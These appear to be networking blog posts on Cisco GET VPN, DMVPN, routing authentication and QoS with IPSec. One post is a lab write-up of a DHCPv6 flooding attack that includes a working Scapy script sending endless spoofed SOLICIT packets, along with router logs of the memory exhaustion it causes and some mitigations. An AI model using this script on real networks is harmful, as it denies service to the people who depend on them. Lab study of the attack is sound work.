GET VPN, it is all about group.


GET VPN uses a group security paradigm comparing to the traditional point-to-point security paradigm like DMVPN, GRE IPSec or SSL. Do not confuse with any-to-any mesh which is the result of n(n-1)/2 point-to-point security associations between n peers.

We are talking about group security association (SA), group states and group keys.

Because each group member doesn’t know in advance about other group members, a central entity named key server (KS) need to manage GET VPN control plane: group member registration, distribute group keys and do the rekeys (updating security policy and group keys).

Once a group member has registered with the KS to a group, it can take care of the data plane encrypted communication with any of the other group members using the received group key and group security policy.

GET VPN doesn’t create the VPN perimeter (like Frame Relay for example), all group members and the key server are supposed to be already in the same VPN.

This lab is not supposed to be a comprehensive GET-VPN reference. Because it is all about a stories and process dynamics, I opted for a more visual approach: less words, more pictures.

I included a table summarizing the key characteristics of GET-VPN comparing with traditional IPSec, followed by a step-by-step animation of the main processes of GET-VPN.

Only then, I provide some configurations of the core MPLS-VPN and GET-VPN key server and group member.

And finally the offline lab with a myriad of useful commands collected during a running session.

By rushing to the CLI, you can easily drown yourself in a cup of water 🙂 Better take the time to understand the overall process, then configuration and troubleshooting will be straightforward and more instructive.

Outline:

  • Comparison of GETVPN vs traditional IPSec.
  • Summary of the main concepts
  • Step-by-step GETVPN process
  • Lab details
    • MPLS-VPN configuration
      • Core
      • PE_CE
    • GET VPN configuration
      • Basic Group member template
      • Basic key server
  • Offline lab
  • Troubleshooting

Comparison table (IPSec <> GET vpn)

IPSec Crypto GET Crypto
Main concept Per link point-to-point security paradigm: each pair of devices establishes a separate security association.(figure3) Group-based security paradigm: allows a set of network entities to connect through a single group security association.
Encapsulation Requires the establishment of tunnel to secure the traffic between encrypting gateways.- a new header is added to the packet (figure4).- Limited QoS preservation (only ToS). Tuneless: does not use tunnels and preserves the original src/dst IP in the header of the encrypted packet for optimal routing (figure6).- Preserve same established routing path.- Preserve entire QoS parameter set.
Multicast – Traditional IPSec encapsulate multicast into encrypted PTP unicast GRE tunnels.- Alternatively, inefficient multicast replication at the HUB using DMVPN with many multicast deployment restrictions (RP, MA and multicast source location at the HUB). GET VPN is particularly suited for multicast traffic encryption with native support. The WAN multicast infrastructure is used to transport encrypted GET-VPN multicast traffic.
Infrastructure IPSec creates Overlay VPN and secures it over the Internet. • Relies on MPLS/VPLS Any-to-Any VPN.• Direct Flows between all CE.• Leverages Existing VPNs.- GET VPN suited for enterprises running over MPLS private networks.- GET-VPN ONLY secure an already established VPN (MPLS-VPN), it doesn’t create it
Management – Per-link security management: Each pair holds a security association for each other.- Resource consumption.- Alternative centralized HUB-based management with DMVPN though heterogeneous protocol suite (mGRE, NHRP)- Less scalable. – Full mesh direct communications between sites.Same group members hold a single security association; don’t care about others on the group.- Relies on centralized membership management through key servers :A centralized entity (Key Server manage the control plane) and not involved in the data plane communication.Data plane communications don’t require transport through a hub HUB entity.- Low latency/jitter.

– More scalable.

Security Perimeter Per-link All Sites within the same group.
Routing Two routing levels(figure5a):Core routing+Overlay routing between encrypting gateways Single end-to-end routing level with MPLS-VPN as the underlying VPN infrastructure(figure6a).
Traditional IPSec PTP SAs between GMs

Figure3- Traditional IPSec PTP SAs between GMs

Figure4- Traditional IPSec PTP Packet

Figure4- Traditional IPSec PTP Packet

 

Figure5a-Traditional IPSec routing overlay

Figure5a-Traditional IPSec routing overlay

 

Figure6- Get-VPN IPSec PTP Packet + TEK

Figure6- Get-VPN IPSec PTP Packet + TEK

 

Figure6a- GETVPN end-to-end routing

Figure6a- GETVPN end-to-end routing

 

 Summary of the main concepts

The key server manages the control operations (group member registration and rekey and policy distribution) on a different plane, initially, under the protection of IKE, after that, protected by a common key (KEK) (figure7/8).

Rekey process can be done using unicast (default) or multicast.

Any-to-any GM communications are performed on a separate data plane using the received TEK (Traffic Encryption Key) (figure9).

COOP (Co-operative key server protocol)

  • A Key Server redundancy feature allowing key server communication to synchronize the keying information.

GDOI protocol (Group Domain of Interpretation)

  • Used for policy & key deployment with group members.

Make sure to differentiate between registration vs rekey and between authentication vs authorization processes.

A-Registration process:

1- There is two types of KS-GM authentications):

  • Shared key (deployed on the lab): a simple secret key shared (hopefully out-of-band) by the KS and all GMs (or per-pair).
  • RSA (CA-based authentication): uses asymmetric encryption with public/private key pair and requires PKI infrastructure:
    • Enrollment phase:
      • Client (GM) gets CA certificate (CA public key signed with CA private key)
      • Client enrollment with CA
        • Client sends its own certificate (client public key signed with client private key)
        • CA signs the client certificate with its own (CA) public key and sends it to the client.
    • Peer-to-peer (GM-to-KS) authentication:
      • Peers exchanges and verify each other signatures using CA public key.

2- Authorization (during registration):

  • KS verifies the group id number of the GM: If this id number is a valid and the GM has provided valid Internet Key Exchange (IKE) credentials, the key server sends the SA policy and the Keys to the group member.

B-Rekey process (after registration): uses asymmetric encryption with public/private key pair:

  • The Primary KS uses the private & public keys (asymmetric) generated before the registration and export them to other secondary KSs.
  • Primary KS generates Group control / data plane keys, TEK and KEK (symmetric keys)
  • The KS signs TEK/KEK + policy with its own private key and sends them to GMs(figure7/8/9)
  • The KS distributes public key to all GMs.
  • GMs check the rekeys with the received KS public key

 

Figure7- Control plane: GM registration

Figure7- Control plane: GM registration

Figure8- Control plane: rekey using KEK key

Figure8- Control plane: rekey using KEK key

 

Figure9- GM data plane communications using TEK key

Figure9- GM data plane communications using TEK key

 

 

Step-by-step GET-VPN process

Lab details

Here is the lab topology, pretty straight forward, three group members and one key server with MPLS-VPN as the underlying VPN infrastructure.

 

Figure1- High-level lab topology

Figure1- High-level lab topology

Figure2- Low-level lab topology

Figure2- Low-level lab topology

 

GET VPN:

  • Customer equipments (CE) R9, R10 and R12 play the role of GETVPN group members (GM),
  • R11 plays the role of the key server.

MPLS_VPN:

  • R2, R3 and R5 are the MPLS-VPN PEs (Provider Edge equipment)

MPLS-VPN configuration:

Make sure the underlying MPLS-VPN topology works fine and all connectivity are successful before touching GET VPN.

For the sake of simplicity, a single MPLS core router (label switching router) R4 is used and static routing between CE_PE.

 

Figure2- Low-level MPLS-VPN lab infrastructure (MPLS LSR + PEs)

Figure2- Low-level MPLS-VPN lab infrastructure (MPLS LSR + PEs)

 

MPLS-VPN basic configuration with PE-CE static routing

  • R4 the MPLS core router (LSR) is configured as BGP route reflector.
  • Make sure PE equipments (wan interfaces and loopback rid’s) are reachable though MPLS core OSPF.
  • Enable MPLS on the interfaces facing PE’s.
  • Each PE (R2, R3 and R5) has similar configuration and a template can be used to scale client numbers.

Because this lab is not focused on MPLS-VPN, a simple PE-CE static routing is deployed. Each client has its interface and static route in the appropriate VRF. Generally multiple clients (VRFs) separately coexist in a single PE and the core transport is done through vpnv4 to and from other PE’s (figure2a)

 

Figure2a- MPLS-VPN PE Virtual Router Forwarding

Figure2a- MPLS-VPN PE Virtual Router Forwarding

With PE-CE static routing, only one-side redistribution is done, from static to vpnv4 address family.

You will find all details in the offline lab.

R4 (MPLS LSR router)

interface Loopback0ip address 10.0.0.4 255.255.255.255ip ospf 2345 area 0!

interface FastEthernet0/0

ip address 192.168.45.4 255.255.255.0

ip ospf 2345 area 0

mpls label protocol ldp

mpls ip

!

interface FastEthernet0/1

ip address 192.168.24.4 255.255.255.0

ip ospf 2345 area 0

mpls label protocol ldp

mpls ip

!

interface FastEthernet1/0

ip address 192.168.34.4 255.255.255.0

ip ospf 2345 area 0

mpls label protocol ldp

mpls ip

!

router ospf 2345

!

router bgp 2345

no synchronization

bgp router-id 4.4.4.4

network 192.168.24.0

network 192.168.34.0

network 192.168.45.0

neighbor 10.0.0.2 remote-as 2345

neighbor 10.0.0.2 route-reflector-client

neighbor 10.0.0.3 remote-as 2345

neighbor 10.0.0.3 route-reflector-client

neighbor 10.0.0.5 remote-as 2345

neighbor 10.0.0.5 route-reflector-client

no auto-summary

!

address-family vpnv4

neighbor 10.0.0.2 activate

neighbor 10.0.0.2 send-community extended

neighbor 10.0.0.2 route-reflector-client

neighbor 10.0.0.3 activate

neighbor 10.0.0.3 send-community extended

neighbor 10.0.0.3 route-reflector-client

neighbor 10.0.0.5 activate

neighbor 10.0.0.5 send-community extended

neighbor 10.0.0.5 route-reflector-client

exit-address-family

R4#sh ip bgp summBGP router identifier 4.4.4.4, local AS number 2345…10.0.0.2 4 2345 134 137 4 0 0 02:09:53 0

10.0.0.3 4 2345 134 137 4 0 0 02:09:43 0

10.0.0.5 4 2345 136 137 4 0 0 02:09:52 0

R4#

GET-VPN configuration:

Key server:

crypto isakmp policy 1encr aesauthentication pre-sharegroup 2!crypto isakmp key cisco address 192.168.103.10

crypto isakmp key cisco address 192.168.29.9

crypto isakmp key cisco address 192.168.125.12

!

crypto ipsec transform-set transform128 esp-aes esp-sha-hmac

!

crypto ipsec profile profile1

set security-association lifetime seconds 7200

set transform-set transform128

!

crypto gdoi group gdoi-group1

identity number 91011

server local

rekey algorithm aes 128

rekey retransmit 10 number 2

rekey authentication mypubkey rsa rekey-rsa

rekey transport unicast

sa ipsec 1

profile profile1

match address ipv4 getvpn-acl

address ipv4 192.168.115.11

!

interface FastEthernet0/0

ip address 192.168.115.11 255.255.255.0

!

ip access-list extended getvpn-acl

deny icmp any any

deny udp any eq 848 any eq 848

deny tcp any any eq 22

deny tcp any eq 22 any

deny tcp any any eq tacacs

deny tcp any eq tacacs any

deny tcp any any eq bgp

deny tcp any eq bgp any

deny ospf any any

deny eigrp any any

deny udp any any eq ntp

deny udp any eq ntp any

deny udp any any eq snmp

deny udp any eq snmp any

deny udp any any eq snmptrap

deny udp any eq snmptrap any

deny udp any any eq syslog

deny udp any eq syslog any

permit ip any any

You can recognize usual IPSec components: crypto policy, shared keys, transform-sets wrapped in an ipsec profile, followed by GETVPN GDOI group policy ( ipsec profile and group policy (group-id, symm. encr. Algorithm, asymmetric keys to use during rekey authentication and getvpn acl)

The GETVPN ACL defines what will not be encrypted; consider your own topology needs:

  • Exclude already encrypted traffic (https, ssh, etc.)
  • Exclude PE-CE routing protocols.
  • Exclude GETVPN control plane protocols( gdoi udp 848, tacacs, radius, etc.)
  • Exclude Management/monitoring protocols (snmp. syslog, device remote access, icmp, etc.)

Group member template:

crypto isakmp policy 1encr aesauthentication pre-sharegroup 2crypto isakmp key cisco address 192.168.115.11!

crypto gdoi group gdoi-group1

identity number 91011

server address ipv4 192.168.115.11

!

crypto map map-group1 10 gdoi

set group gdoi-group1

!

interface FastEthernet0/0

crypto map map-group1

All control plane parameters are controlled by the KS, GMs are dumb devices. All they have to know is how to initiate IKE phase1 for preshared or RSA authentication with the KSs to register and get the keys, which groups they want to join, to which KS they will talk (if many configured) and finally, the get crypto-map assigned to the outbound interface.

Troubleshooting:

When practicing or during tenacious data plane issues, a good idea is to use ESP-NULL, the null encryption, where the encryption process is engaged, but packets are not encrypted.

This will make much easier the packet content inspection and marking between GMs.

To facilitate the deployment and the troubleshooting, think about the topology in terms of separate technology sub-domains; make sure everything works fine before moving to the next sub-domain.

  • Layer2 MPLS
  • MPLS-VPN
  • Core routing
  • PE-CE routing
  • Core SSM multicast (if not unicast rekey)
  • CA infrastructure (if you are not using shared keys to authenticate GMs to the KS)
Possible issues Possible causes
key servers doesn’t exchange all announcements Bad buffer – default buffer is not enough for large nbr of gm
Reassembly timed out Some announcement fragments are dropped or lostICMP (packet too big) denied in the pathNo fragmentation because df bit setPresence of MTU bottlenecks, multipaths, firewalls.Not tuned tcp mss “ip tcp adjust-mss”
ike failure- failed negotiation Preshared key mismatchIKE parameters mismatchTransport issues between GMs and KSs
Nothing works just after GM registration. GETVPN acl policy cause routing traffic encryption: traffic not symmetrically excluded
KS not synchronizing Check KS-KS transport: avoid making KS-KS communications dependent on GET-VPN successful transport.Keys not exported or not imported
Rekey not delivered Issue with multicast infrastructure.Issue with mVPN service.

For more detailed GETVPN troubleshooting, I urge you to watch the excellent CiscoLive session by Wen Zhang https://www.ciscolive.com/online/connect/sessionDetail.ww?SESSION_ID=78699&tclass=popup

Offline lab:

References:

http://www.cisco.com/c/en/us/products/security/group-encrypted-transport-vpn/index.html

http://www.cisco.com/c/en/us/products/collateral/security/group-encrypted-transport-vpn/deployment_guide_c07_554713.html

https://www.ciscolive.com/online/connect/sessionDetail.ww?SESSION_ID=78699&tclass=popup

http://www.cisco.com/c/dam/en/us/td/docs/solutions/CVD/Aug2013/CVD-GETVPNDesignGuide-AUG13.pdf

https://www.ciscolive.com/online/connect/sessionDetail.ww?SESSION_ID=7907&backBtn=true

http://www.cisco.com/c/en/us/td/docs/ios/12_4t/12_4t11/htgetvpn.html

http://tools.ietf.org/html/rfc3547

http://tools.ietf.org/rfc/rfc4534.txt

DMVPN animation


Here is an interactive animation of DMVPN (Dynamic Multipoint VPN), followed by a detailed offline lab (a snapshot of the topology under test with hopefully all commands needed for analysis and study).

Finally, check your understanding of the fundamental concepts by taking a small quiz.

Studied topology:

DMVPN animation

Animation

Offline Lab

You might consider the following key points for troubleshooting:

Routing protocols:

To avoid RPF failure, announce routing protocols only through tunnel interfaces.

EIGRP

  • Turn off “next-hop-self” to makes spokes speak directly. Without it traffic between spokes will always pass through the HUB and NHRP resolution will not occur.
  • Turn off “split-horizon” to allow eigrp to advertise a received route from one spoke to another spoke through the same interface.
  • Turn off sumarization
  • Pay attention to the bandwidth required for EIGRP communication. requires BW > tunnel default BW “bandwidth 1000”

OSPF

  • “ip ospf network point-to-multipoint”, allows only phase1 (Spokes Data plane communication through the HUB)
  • “ip ospf broadcast” on all routers allows Phase2 (Direct Spoke-to-spoke Data plane communication)
  • Set the ospf priority on the HUBs (DR/BDR) to be bigger than the priority on spokes (“ip ospf priority 0”).
  • Make sure OSPF timers match if spokes and the HUB use different OSPF types.
  • Because spokes are generally low-end devices, they probably can’t cope with LSA flooding generated within the OSPF domain. Therefore, it’s recommended to make areas Stubby (filter-in LSA5 from external areas) or totally stubby (neither LSA5 nor inter-area LSA3 are accepted)

Make sure appropriate MTU value matches between tunnel interfaces (“ip mtu 1400 / ip tcp mss-adjust 1360”)

Consider the OSPF scalability limitation (50 routers per area). OSPF requires much more tweekening for large scale deployments.

Layered approach:

DMVPN involves multiple layers of technologies (mGRE, routing, NHRP, IPSec), troubleshooting an issue can be very tricky.

To avoid cascading errors, test your configuration after each step and move forward only when the current step works fine. For example: IPSec encryption is not required to the functioning of DMVPN, so make sure your configuration works without it and only then you add it (set IPSEc parameters and just add “tunnel protection ipsec profile” to the tunnel interface).

Quiz

Read more of this post

Fake DHCPv6 attack


DHCPv6 relies on stateless UDP communication using UDP 546 and UDP 547 ports. As stated in the RFC 3315 this makes DHCPv6 particularly vulnerable to fake attack, in which SOLICIT messages are generated with random source prefixes.

Using DHCPv6 Rapid-Commit mode, ONLY two messages are exchanged between the client and the server to get an IPv6 prefix.

Picture1: lab topology – IOS 12.4(24)T implemented in GNS3

DHCPv6 server configuration:

ipv6 dhcp pool SLAAC-POOL
address prefix 2001:DB8:5AB::/64 lifetime infinite infinite
dns-server 2001:DB8:5AB::57
domain-name nouri.com
!
interface FastEthernet1/0
ip address 192.168.0.202 255.255.255.0
ipv6 address 2001:DB8::202/64
ipv6 enable

ipv6 dhcp server pool0 rapid-commit
end

Layer2 Switch configuration:

interface FastEthernet1/0
switchport access vlan 10
!
interface FastEthernet1/1
switchport mode trunk

Below is the Scapy script used for the attack, though awkward, but do the job.

You can enter manually the DHCPv6 sever MAC address from the local neighbor table of through a script by pinging all DHCP agents multicast address FF02::1:2.

SOLCIT messages are sent blindly without even expecting any responses.

 

# -*- coding: utf-8 -*-
#! /usr/bin/env python
# DHCPv6 fake attack
# Date:     28/10/11
# Author:   AJ NOURI (cciethebeginning.wordpress.com)

from scapy.all import *
from netaddr import *
# or from netaddr.strategy.ipv6 import *
import random

class randmac():
""" Generates two forms of random MAC address
and corresponding Link Local EUI-64 IPv6 address"""
def __init__(self):
"""
Generates MAC address string by chunks of one byte
"""
random.seed()
self.mac11 = str(hex(random.randint(0,255))[2:])
self.mac12 = str(hex(random.randint(0,255))[2:])
self.mac21 = str(hex(random.randint(0,255))[2:])
self.mac22 = str(hex(random.randint(0,255))[2:])
self.mac31 = str(hex(random.randint(0,255))[2:])
self.mac32 = str(hex(random.randint(0,255))[2:])

def form1b(self):
""" format 1 XX:XX:XX:XX:XX:XX"""
self.rez1 =  self.mac11 + ":" +   self.mac12 + ":" +  self.mac21 + ":" +  self.mac22 + ":" +  self.mac31 + ":" +  self.mac32
return self.rez1

def form2b(self):
""" format 2 XXXX.XXXX.XXXX"""
self.rez2 =  self.mac11 +  self.mac12 + "." +  self.mac21 +   self.mac22 + "." +  self.mac31 +  self.mac32
return self.rez2

def eui64(self):
""" Generates interface ID in EUI-64 format"""
self.rez3 =  self.mac11 +  self.mac12 + ":" + self.mac21 + "ff" + ":" + "fe" +  self.mac22 + ":" +  self.mac31 + self.mac32
return self.rez3

def ip6_ll_eui64(self):
""" Generates Link-local  IPv6 addres in EUI-64 format"""
self.ip6_ll_eui64 = "fe80" + "::" + self.eui64()
return self.ip6_ll_eui64

def main():
# Building and initilizing DHCP SOLICIT packet layers with common parameters
l2 = Ether()
l3 = IPv6()
l4 = UDP()
sol = DHCP6_Solicit()
rc = DHCP6OptRapidCommit()
opreq = DHCP6OptOptReq()
et= DHCP6OptElapsedTime()
cid = DHCP6OptClientId()
iana = DHCP6OptIA_NA()
rc.optlen = 0
opreq.optlen = 4
iana.optlen = 12
iana.T1 = 0
iana.T2 = 0
cid.optlen = 10
""" DHCPv6 MAC address: you can enter manually or as argument to rthe script or get it automatically
""" by pinging DHCPv6 agent multicast ff02::1:2
macdst = "ca:00:39:b8:00:06"
l2.dst = macdst
l3.dst = "ff02::1:2"
l4.sport = 546
l4.dport = 547

#for i in range(1,1000):
while(1 == 1):
# Generating MAC and its corresponding IPv6 link-local in EUI-64 format
macs = randmac()
macsrc = macs.form1b()
ipv6llsrc = macs.ip6_ll_eui64()
# Initializaing the source addreses
l2.src = macsrc
l3.src = ipv6llsrc
random.seed()
# Generating SOLICIT message id
sol.trid = random.randint(0,16777215)
# Generating DUID-LL
cid.duid = ("00030001"+ str(EUI(macsrc)).replace("-","")).decode("hex")
# Assembing the packet
pkt = l2/l3/l4/sol/iana/rc/et/cid/opreq
try:
# GO!
sendp(pkt, iface='eth1')
except KeyboardInterrupt:
print 'Program Interrupted by user'
break

if __name__=="__main__":main()

Picture2: Fake DHCPv6 SOLICIT packets in Wireshark

Victim router:

R2#sh ipv6 dhcp pool
DHCPv6 pool: SLAAC-POOL
Address allocation prefix: 2001:DB8:5AB::/64 valid 4294967295 preferred 4294967295 (91725 in use, 0 conflicts)
DNS server: 2001:DB8:5AB::57
Domain name: nouri.com
Active clients: 91725
R2#

Look already at the number of fake active clients!

With a mask of /64 there are 18,446,744,073,709,551,616 hosts. Obviously the purpose is not to deplete the DHCPv6 prefixes; it will take a ridiculous amount of time to exhaust the pool. It is about CPU and memory resources exhaustion.

Resource consumption:

Baseline (before the attack):

During the attack:

Baseline (before the attack):

During the attack:

100% of interrupt processing caused by DHCPv6 and ND processes activities.

R2#sh proc cpu
CPU utilization for five seconds: 92%/100%; one minute: 87%; five minutes: 83%
PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process

OK, maybe the effect on CPU will not be so harmful with HW equipments, but each binding table association will take the same amount of memory.

Thirty minutes later, the 128 Mbytes of our DHCPv6 router memory is depleted and the router starts firing syslog messages to signal the problem.

Imagine what you can do with a more sophisticated piece of software or with HW tools like Ixia or Spirent.

Pool: Processor Free: 58968 Cause: Memory fragmentation
Alternate Pool: None Free: 0 Cause: No Alternate pool
-Process= “DHCPv6 Server“, ipl= 0, pid= 266, -Traceback= 0x6000A944z 0x600238C8z 0x63D60D6Cz 0x6220DB68z 0x622152E8z 0x62210170z 0x62210498z 0x62211128z 0x622112C8z 0x63079090z 0x63079074z
*Jan 21 19:46:24.669: %SYS-2-MALLOCFAIL: Memory allocation of 320 bytes failed from 0x6220DB60, alignment 0

Here more self-explanatory figures about the event:

Picture3: CPU utilization


Picture4: memory utilization


Though the DHCPv6 SOLLICIT messages consume insignificant BW, the harm is caused by the amount of memory allocated by each packet.


The Denial of Service involves the binding table associated to the DHCPv6 configuration pool

The DHCPv6 server maintains an automatic binding table in memory to track the assignment of some configuration parameters, such as prefixes between the server and its clients.
The binding table contains the records about all the prefixes in the configuration pool that have been explicitly delegated to clients. Each entry in the binding table contains the following information:

  • Client DUID
  • Client IPv6 address
  • A list of IAPDs associated with the client
  • A list of prefixes delegated to each IAPD
  • Preferred and valid lifetimes for each prefix
  • The configuration pool to which this binding table belongs

To clear the DHCPv6 router binding table:

R2#clear ipv6 dhcp bind *

Threat mitigation:

Here is a couple of threat mitigation tools you need to consider to mitigate the attack:

802.1x for layer2 authentication before even attending DHCPc6 process.

Secure ND (SeND): is a more complex architecture requiring crypto, SeND capable hosts and PKI infrastructure. At least an entire post will be dedicated to it.

ND related security can be used in the Layer2 switch connecting DHCPv6 clients:

  • IPv6 device tracking to make sure neighbour table contains only live hosts.
  • ND inspection: reject ND messages if MAC is unverifiable.
  • Depending on the expected number of IPv6 users, you can set ND cache limit globally or per interface basis.

References:

http://www.ietf.org/rfc/rfc3315.txt

http://www.ietf.org/id/draft-ietf-dhc-secure-dhcpv6-04.txt

http://www.cisco.com/en/US/docs/ios/ipv6/configuration/guide/ip6-first_hop_security_ps6441_TSD_Products_Configuration_Guide_Chapter.html#wp1155200


EIGRP & RIPv2 IOS authentication


Though IOS routing protocol (EIGRP/RIPv2) authentication procedure is straightforward, it can cause confusion.

The purpose of this brief post is to enumerate and test all different cases related to this kind of authentication and demonstrate the following facts:

1- Key-chain is locally significant and not checked.

2- The router check key id’s in the ascending order, looking for the same couple as the received (key-id, key-string).

  • if the key id is missing, the result of the debug eigrp packet is key id =<id>, key not defined or not live
  • if the key ids match but not the key-strings, the result of the debug eigrp packet is authentication mismatch

Two back-to-back routers are largely enough for the test.


And the following table resumes all results:


For the sake of succinctness, I attached the following file containing the complete configurations and results for all cases : http://hpnouri.free.fr/tmp/EIGRP-authentication-testing.txt

QoS and IPSec interactions


QoS Differentiated services efficiency depends on the consistency and the coherence of QoS policy deployed on a per-hop basis (PHB) along the traffic path.

Some services like IPSec encryption or tunnelling can cause issues to QoS. The purpose of this article is to clarify these interactions.

 

Outline

  • Overview.
  • Conclusions.
  • Examples of deployment (Lab1,Lab2)

 

Overview

Interactions between QoS and IPSec are based on three principles:

  • Order of operations
  • QoS criteria
  • QoS policy location

 

  1. Order of operations: By default IOS performs tunnelling and VPN operations first and then apply QoS policy.

     

    Figure1: default order of operation

    With QoS pre-classification the previous order is inversed: QoS policy is performed first and then tunnelling and VPN processes.

     

    Figure2: QoS pre-classification

    Well, Technically the QoS operation is still performed after IPSec, but using original header fields preserved in a “temporary memory Structure”.

     

  2. QoS criteria:
    What your QoS policy is looking for?

    With GRE tunnelling or IPSec encryption, a new header is built and only ToS field is copied by default from the original to the new tunnel or IPSec header (tunnel mode). So, caution if your classification criteria are based on other fields than ToS/DSCP!

     

    Figure3: TOS/DSCP preservation

     

  3. QoS policy location
    : QoS traffic classification is based on inspection of IP header fields like addresses, PID, ports, ToS …

    In fact, what is visible to QoS process depends on where your QoS policy is placed:

  • On the tunnel interface, before header modification (tunnelling and VPN operations).
  • On the physical interface, after header modification (tunnelling and VPN operations).

I hope the following illustrations will provide extra perception how QoS and IPSec are related.

 

Figure 4: ONLY QoS policy applied to physical interface (header visible)

 

Figure 5: IPSec + QoS policy applied to physical interface (only ToS preserved)

 

Figure 6: IPSec + QoS pre-classification (original header visible)

 

 

 

 

Figure 7: IPSec + QoS policy applied to tunnel interface (original IP header visible)

 

Table 1 summarises all combinations of the previously mentioned cases:

 

Table 1: summary

cases 1 2 3 4 5 6 7 8
QoS policy applied to physical int. X X X X
tunnel int. X X X X
Order of operations Default behaviour X X X x
QoS pre-classification X X X X
QoS policy criteria ONLY ToS X X X x
Other field than ToS (IP, ports) X x X x
Results QoS succeed QoS succeed QoS succeed QoS succeed QoS succeed QoS succeed QoS fails QoS succeed

Conclusions:

 

QoS pre-classification is needed when:

• Classification is based on packet IP header information (src/dst IP, PID, ports nbr., flags…)

&

• Service policy is applied to the physical interface (def. order of processes)

 

 

QoS pre-classification is NOT needed when:

  • Classification is based ONLY on ToS criterion.

Or

  • QoS Service policy is applied to tunnel interface (before performing VPN)

 

Lab 1 : IPSec applied to the physical interface

1-a)

  • Default QoS order of operations (IPSec -> QoS)
  • QoS is based on both DSCP and IP criteria

Figure5: IPSec encryption

R3:

crypto isakmp policy 101

encr 3des

authentication pre-share

group 2

crypto isakmp key cisco address 172.16.12.3

!

!

crypto ipsec transform-set MYTRANSFORMSET esp-3des esp-sha-hmac

!

crypto ipsec profile MYIPSECPROFILE

set transform-set MYTRANSFORMSET

!

!

crypto map MYCRYPTOMAP 10 ipsec-isakmp

set peer 172.16.12.3

set transform-set MYTRANSFORMSET

match address IPSECACL

!

!

class-map match-all MYNOTIPMAP

match not access-group name IPSECACL

match ip dscp af11

class-map match-all MYTOS5MAP

match access-group name IPSECACL

match ip dscp af11

class-map match-all MYNOTTOS5MAP

match access-group name IPSECACL

match not ip dscp af11

!

!

policy-map MYQOSPOLICY

class MYTOS5MAP

bandwidth 100

class MYNOTTOS5MAP

drop

class MYNOTIPMAP

drop

class class-default

!

interface FastEthernet0/1

ip address 172.16.12.4 255.255.255.0

crypto map MYCRYPTOMAP

service-policy output MYQOSPOLICY

!

ip access-list extended IPSECACL

permit icmp host 192.168.2.7 host 192.168.1.6

 

IPSec traffic (new IP Sec ESP header) is captured by the class “MYNOTIPMAP” and drop policy applied

 

R3#sh policy-map int fa0/1

FastEthernet0/1

 

Service-policy output: MYQOSPOLICY

 

Class-map: MYTOS5MAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: ip dscp af11 (10)

Queueing

Output Queue: Conversation 265

Bandwidth 100 (kbps)Max Threshold 64 (packets)

(pkts matched/bytes matched) 0/0

(depth/total drops/no-buffer drops) 48/0/0

 

Class-map: MYNOTTOS5MAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: not ip dscp af11 (10)

drop

 

Class-map: MYNOTIPMAP (match-all)


66 packets, 10956 bytes

5 minute offered rate 0 bps, drop rate 55000 bps

Match: not access-group name IPSECACL

Match: ip dscp af11 (10)


drop

 

Class-map: class-default (match-any)

15 packets, 1520 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: any

R3#

R3 :

R3#sh cry isa sa

IPv4 Crypto ISAKMP SA

dst src state conn-id slot status

172.16.12.4 172.16.12.3 QM_IDLE 1001 0 ACTIVE

 

IPv6 Crypto ISAKMP SA

 

R3#

 

ICMP traffic is generated from R6 toward R7 with DSCP=af11

 

R6#ping

Protocol [ip]:

Target IP address: 192.168.2.7

Repeat count [5]: 100000

Datagram size [100]:

Timeout in seconds [2]:

Extended commands [n]: y

Source address or interface: 40

% Invalid source

Source address or interface:

Type of service [0]: 40

Set DF bit in IP header? [no]:

Validate reply data? [no]:

Data pattern [0xABCD]:

Loose, Strict, Record, Timestamp, Verbose[none]:

Sweep range of sizes [n]:

Type escape sequence to abort.

Sending 100000, 100-byte ICMP Echos to 192.168.2.7, timeout is 2 seconds:

…………………………………………………………….

  • RESULT = NOK

1-b) Apply QoS pre-classification (QoS -> IPSec)

R3:

crypto map MYCRYPTOMAP 10 ipsec-isakmp

set peer 172.16.12.4

set transform-set MYTRANSFORMSET

match address IPSECACL

qos pre-classify

!

QoS is performed 1st (class “MYTOS5MAP” is triggered), and then IPSec is performed.

R3#sh policy-map int fa0/1

FastEthernet0/1

 

Service-policy output: MYQOSPOLICY

 

Class-map: MYTOS5MAP (match-all)

1257 packets, 143298 bytes

5 minute offered rate 6000 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: ip dscp af11 (10)

Queueing

Output Queue: Conversation 265

Bandwidth 100 (kbps)Max Threshold 64 (packets)

(pkts matched/bytes matched) 0/0

(depth/total drops/no-buffer drops) 0/0/0

 

Class-map: MYNOTTOS5MAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: not ip dscp af11 (10)

drop

 

Class-map: MYNOTIPMAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: not access-group name IPSECACL

Match: ip dscp af11 (10)

drop

 

Class-map: class-default (match-any)

31 packets, 4737 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: any

R3#

From R6 source of the traffic:

R6#ping

Protocol [ip]:

Target IP address: 192.168.2.7

Repeat count [5]: 1000000

Datagram size [100]:

Timeout in seconds [2]:

Extended commands [n]: y

Source address or interface:

Type of service [0]: 40

Set DF bit in IP header? [no]:

Validate reply data? [no]:

Data pattern [0xABCD]:

Loose, Strict, Record, Timestamp, Verbose[none]:

Sweep range of sizes [n]:

Type escape sequence to abort.

Sending 1000000, 100-byte ICMP Echos to 192.168.2.7, timeout is 2 seconds:

…………………………U.U.U.U.U………!!!!!!!!!!!!!!!!!!!!!!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

  • RESULT = OK

Lab2 : IPSec applied to the GRE tunnel

  • 2-a):
    • Default QoS order of operations (IPSec -> QoS)
    • QoS is based on both DSCP and IP criteria

Figure5: IPSec GRE tunnel encryptions

 

 

interface Tunnel0

crypto map MYCRYPTOMAP

!

interface FastEthernet0/1

service-policy output MYQOSPOLICY

R3#sh policy-map int fa0/1

FastEthernet0/1

 

Service-policy output: MYQOSPOLICY

 

Class-map: MYTOS5MAP (match-all)


0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

